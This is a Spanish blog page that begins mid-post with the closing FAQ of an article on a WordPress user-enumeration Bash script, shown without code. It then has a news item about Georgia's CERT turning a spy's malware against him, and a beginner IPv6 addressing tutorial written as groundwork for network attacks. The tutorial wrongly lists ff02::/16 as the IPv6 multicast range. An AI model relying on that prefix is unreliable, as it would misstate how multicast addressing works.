Los que me conocen saben que soy fanático de Bash, y lo que intento demostrar desde hace tiempo es que no es nada difícil como muchos creen, que facilita muchísimas tareas y es sumamente útil aprenderlo.

¿Habrá actualizaciones?

Creo eso dependerá de la demanda, para mi esta muy bien así, y si necesito acoplarlo a un escenario en especifico no se tardara nada en hacerlo manualmente. La parte esencial del programa no pasa de unas 8 líneas, sin embargo creció tanto por manejo de errores, explicación del programa, etc…

¿Existe una manera de Protegerme?

¡SI! Hay dos maneras MEGA EFICIENTES para protegernos de que nos hagan este “dump” de usuarios…Pero eso lo quiero exponer en CampusParty México 4, si desean saber como, podrían apoyarme para dar la conferencia que tengo pensada como “Hardening WordPress – The technical,easy and useful way” donde dare varios tips de este tipo.
Pueden descargar wp_users.sh desde mi repositorio en github:
Articulo escrito por Hecky de Neobits.org para La Comunidad DragonJAR
Hecky es un apasionado e interesado en “Researching, Steganalysis, Hardening, Linux, Vulnerability Assesment & Digital Forensics”, miembro de la comunidad DragonJAR y pueden ubicarlo en Twitter (@hecky)

Cyber-espía ruso grabado en webcam con su malware

Infectarse con un malware con el que estás jugando es lo más común - aún tengo disco de 5 1/4 infectados con todo mi amor -. De hecho creo que las instantáneas en el sistema operativo y en las máquinas virtuales se debieron crear solo por eso. Sin embargo, que te infecten otros a través de tu propio malware ya es un poco más enrevesado. Sobre todo si quien lo haces es un gobierno al que estás espiando y robando información.

Esta es la historia que cuenta el CERT de Georgia que ha publicado las imagenes de un "supuesto" atacante que estaba robando datos sensibles del gobierno para venderlos a las mafias y agencias de inteligencia relacionadas con el gobierno ruso. 
Detectaron la actividad de este atacante, según informa Tech News World, en Marzo de 2011 y desde entonces descubrieron que había infectado 390 equipos para robar información. El malware lo había incrustado en un formato de documento XDP (XML Data Package) que permite representar documentos PDF como ficheros XML y no levanta tantas alertas como un adjunto en PDF
Según cuentan la historia, el equipo del CERT de Georgia descubrió en qué equipos había instalado el malware y le hizo comer su propia medicina poniéndole un documento en uno de ellos con su propio malware. Cuando el atacante abrió el documento se infectó con su malware y el CERT activó la webcam para sacar esta bonitas fotos.
Figura 1: Un gran FAIL para un cyber-espía
Al final, cuando yo insisto en que lo mejor es poner la cinta en la webcam es por algo, ya que nunca estás 100% seguro cuando la protección es por software, y al final puedes acabar saliendo sexy en cualquier botnet.
 
 
 

miércoles, 31 de octubre de 2012

Hacking en redes de datos IPv6: Conceptos básicos IPv6 (1)

El protocolo IPv6 lleva ya mucho tiempo entre nosotros, y aunque aún mucha gente se empeña en revisar las configuraciones IPv4 en una red de empresa, lo que realmente está funcionando en las conexiones SMB, DNS o incluso web de la Intranet, es protocolo IPv6. Conocer su funcionamiento es fundamental para la protección de una red, ya que muchos de los sistemas de protección IDS están configurados para detectar la mayoría de los ataques en redes IPv4, pero no hacen lo mismo con los ataques IPv6.
En este artículo voy a explayarme un poco hablando de este protocolo que debería haber entrado hace mucho tiempo en nuestra vida cotidiana, y sin embargo sigue siendo un gran desconocido para muchos técnicos, a pesar de que al realizar un ipconrfig salga esa dirección fe80:: al principio de todo.

Figura 1: Direccción IPv6 de enlace local en una configuración por defecto

Antes de comenzar con los ataques IPv6 es necesario familiarizarse con todos los conceptos fundamentales de este protocolo, así que habrá que asentar algunas cosas al principio.
Configuración básica de IPv6 en sistemas Microsoft Windows
Si entramos en las propiedades del protocolo IPv6 de un sistema Microsoft Windows, lo primero que encontraremos es una pantalla de configuración más o menos similar a la de IPv4, con la única diferencia de que las direcciones IP serán de 128 bits, que se escriben en hexadecimal separadas en grupos de 16 bits, es decir, cuatro valores hexadecimales. Esto hace que las direcciones IPv6 queden escritas de una forma similar a fe80:123:0000:0000:0000:0000:0000:1ab0. Es un poco más raro, pero no tanto, 8 grupos de 4 valores hexadecimales.
Para que sea más fácil de escribir y recordar, cuando hay una lista de grupos de cuatro ceros seguidos, se puede utilizar el acortador ::, reduciendo la dirección anterior a algo como: fe80:123::1ab0. Esta reducción se puede utilizar una única vez por cada dirección IPv6 y solo para grupos de 4 ceros consecutivos. Es por eso que será muy común encontrar cosas como fc00::1 en una dirección IPv6 de una red privada.

Figura 2: Ejemplo de configuración de IPv6 en Windows
En segundo lugar, aunque no se llama máscara de red, tenemos algo muy similar llamado Prefijo de Subred. Este termino se ha cambiado debido a las cantidades de problemas que causó en muchos usuarios e implementaciones de IPv4 el uso de subnetting, supernetting o la asignación de máscaras de red del tipo 255.0.124.255, algo que fue permitido por el estándar - y por tanto en algunas implementaciones -, pero que no acababa de tener mucho sentido y volvía loco a muchos técnicos cuando descubrían su existencia.
En IPv6 el prefijo tiene la misma función, gestionar la visibilidad de red y utilizarse para hacer subnetting y supernetting, pero todos los unos van seguidos y al principio por definición en el estándar. De esta forma, si tuviéramos dos direcciones IPv6 - sin utilizar una Puerta de Enlace en la red - tales como estas:
A: fc00::2000:0001/96
B: fc00::2001:0001/112
Al hacer un ping en IPv6 de A a B obtendríamos un Time-Out y al hacer un ping de B a A tendríamos una respuesta de Host inaccesible, debido a que A no entra dentro de la misma red que B, pero B si está dentro de la misma red que A.

Para interconectar las redes IPv6, igual que en IPv4, hay que utilizar una Puerta de Enlace o Gateway, que se configura en las propiedades del protocolo de red, igual que los servidores IPv6 que se van a utilizar para la resolución de nombres. Estos servidores DNS no son los que se van a utilizar para resolver los nombres a direcciones IPv6 sino que serán los servidores DNS que se utilizarán para resolver todo cuando se utilice el protocolo IPv6, es decir, también se utilizarán estos servidores cuando haya que resolver un registro DNS de tipo A cuando se utilice en la red local el protocolo IPv6.

Direcciones de Vínculo o Enlace Local en IPv6

Conocidos los parámetros a configurar, hay que entender también que en IPv6, tanto si se realiza una configuración manual de las direcciones IPv6 como si se deja en Automático - configuración por defecto en equipos Windows y Mac OS X - las tarjetas de red con soporte para IPv6 tendrán asociada una dirección de vínculo local.
Figura 3: Configuración por defecto en Mac OS X
Esta dirección se genera automáticamente y es anunciada por la red para evitar duplicidad de la misma usando el protocolo NDP (Neighbor Discovery Protocol). Esta duplicidad de direcciones no debería darse de forma habitual, ya que el algoritmo de generación de la misma depende de la dirección MAC de la tarjeta, pero para evitar cualquier situación indeseada se hace uso de un sistema que garantice su unicidad y que resuelva estos conflictos.
Esta dirección es del rango fe80::/10 y es equivalente al rango 169.254.1.X - 169.254.254.X de IPv4. La única diferencia es que en la práctica las direcciones 169.254.X.X no se suelen utilizar en IPv4 y en IPv6 estas direcciones se van a utilizar con mucha frecuencia.
Por supuesto, estas direcciones no son enrutables, pero sí que son utilizadas para comunicarse con el router o cualquier servidor de la organización que se encuentre en la red local. Si no has tocado nada de la configuración por defecto, tendrás una de estas direcciones asociadas y podrás utilizarla para hacer ping a cualquier equipo de tu red local con una dirección IPv6 de Enlace-Local.
Figura 4:  Ping a un nombre NETBios utilizando direcciones IPv6 de Vínculo Local
Direcciones Well-Known en IPv6
Además de las direcciones de Enlace o Vínculo Local, en IPv6 hay una buena cantidad de direcciones que deben ser conocidas, así que toca describir las más importantes aquí para entender luego los entornos de ataque:
::/128: Es una dirección con todos los bits a 0. Es la dirección IPv6 indefinida.
::/0: Es la dirección de red IPv6 para describir la ruta por defecto en una tabla de enrutamiento. Es equivalente a la dirección IPv4 0.0.0.0.
::1/128: Localhost en IPv6. Equivalente a 127.0.0.1 (IPv4).
fe80::/10: Direcciones de vínculo o enlace local. No son enrutables pero generan una red local efectiva en el rango fe80::/64. La parte de Host se suele calcular a partir de la dirección MAC de la tarjeta.
ff02::/16: Direcciones de redes IPv6 Multicast. Equivalentes a las  (224.X) en redes IPv4.
fc00::/7: Son las direcciones para redes IPv6 privadas. Estas direcciones tampoco son enrutables en Internet y son equivalentes a 10.X, 172.16.X y 192.168.X en redes IPv4
::ffff:0:0/96: Direcciones IPv4 mapeadas en IPv6. Se utilizan para conversiones e interconexiones de protocolos IPv4 e IPv6.
64:ff9b::/96: Direcciones IPv6 generadas automáticamente a partir de IPv4. Se utilizan para cuando sea necesario hacer nuevas direcciones IPv6 y se quiera generar a partir de la dirección IPv4 de la máquina.
2002::/16: Indica que es una red 6 to 4 mapeada y utilizará la dirección IPv4 192.88.99.X como gateway para la interconexión.
Además de estas direcciones, hay algunas reservadas para propósitos especiales, como son las siguientes:
2001::/32: Usado por el protocolo de túneles Teredo que permite hacer tunneling IPv6 sobre redes IPv4 en Internet. Este sistema es el que se utiliza a la hora de implementar Direct Access en Windows Server 2008 R2 y Windows 7.
2001:2::/48: Asignado a Benchmarking Methodology Working Group (BMWG) para comparativas (benchmarking) en IPv6 (similar a la red 198.18.0.0/15 para comparativas en IPv4). 
2001:10::/28: ORCHID (Overlay Routable Cryptographic Hash Identifiers). Direcciones IPv6 no-enrutables usadas para identificadores criptográficos Hash. 
2001:db8::/32: Direcciones utilizadas para documentación o ejemplos IPv6. Similar a las redes 192.0.2.0/24, 198.51.100.0/24 y 203.0.113.0/24 en IPv4.
Hasta aquí esta primera tanda de conceptos básicos. Ya seguiremos viendo más cosas en la segunda parte. Mientras tanto ve estudiando y probando esto, que te va a hacer falta para continuar con las siguientes partes. Si quieres aprender más, ya sabes que puedes comprar el libro de Ataques en redes de datos IPv4 & IPv6.

Saludos...
 
*******************************************************************************     - Hacking en redes de datos IPv6: Conceptos básicos IPv6 (1)
- Hacking en redes de datos IPv6: Conceptos básicos IPv6 (2)
*******************************************************************************
 
 
 
 Fuente